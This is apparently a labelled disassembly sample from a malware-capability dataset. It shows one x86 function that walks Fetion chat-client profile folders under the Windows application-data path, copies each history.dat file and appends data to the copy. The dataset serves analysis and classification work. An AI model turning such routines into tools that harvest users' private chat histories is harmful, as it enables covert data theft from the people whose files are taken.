Function at 0x100176e0
Capabilities:
Copy file
Enumerate files on windows
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b150
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x56c
push ebx
push esi
push edi
lea eax, [ebp - 0x370]
mov dword [ebp - 0x10], esp
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x1001772c
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
or ecx, 0xffffffff
mov edi, str.Fetion
xor eax, eax
lea edx, [ebp - 0x370]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 4], eax
mov ebx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [ebp - 0x474]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x370]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x474]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [ebp - 0x168]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x474]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x20], eax
je 0x10017982
mov ebx, dword [sym.imp.MSVCRT.dll_fwrite]
test byte [ebp - 0x168], 0x10
je 0x10017962
cmp byte [ebp - 0x13c], 0x2e
je 0x10017962
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x370]
push edx
push eax
lea ecx, [ebp - 0x578]
push str._s_shistory.dat
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x370]
lea ecx, [ebp - 0x26c]
push edx
push eax
push str._s_shistory.imw
push ecx
call esi
lea edx, [ebp - 0x578]
push 0
push edx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x18
test eax, eax
jne 0x10017962
push eax
lea eax, [ebp - 0x26c]
lea ecx, [ebp - 0x578]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x26c]
push 0x10030154
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x10017962
push 2
push 0
push esi
call dword [sym.imp.MSVCRT.dll_fseek]
push esi
push 1
push 1
push 0x10030200
call ebx
push esi
push 1
push 1
push 0x1003020c
call ebx
push esi
push 6
push 1
push str.fetion
call ebx
lea edi, [ebp - 0x13c]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
push 1
dec ecx
push 1
push 0x100301ec
mov byte [ebp - 0x14], cl
call ebx
add esp, 0x4c
lea eax, [ebp - 0x14]
push esi
push 1
push 1
push eax
call ebx
mov ecx, dword [ebp - 0x14]
push esi
and ecx, 0xff
lea edx, [ebp - 0x13c]
push ecx
push 1
push edx
call ebx
mov eax, dword [ebp - 0x14]
push esi
and eax, 0xff
push 4
lea ecx, [ebp - 0x18]
add eax, 0xa
push 1
push ecx
mov dword [ebp - 0x18], eax
call ebx
push esi
push 4
push 1
push 0x10030164
call ebx
add esp, 0x40
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x26c]
push eax
push ecx
call fcn.10016000
add esp, 0x10
test eax, eax
je 0x10017962
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
push 0
push edx
push eax
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x26c]
push ecx
push edx
push eax
call fcn.10016090
add esp, 0x18
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x168]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100177dc
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret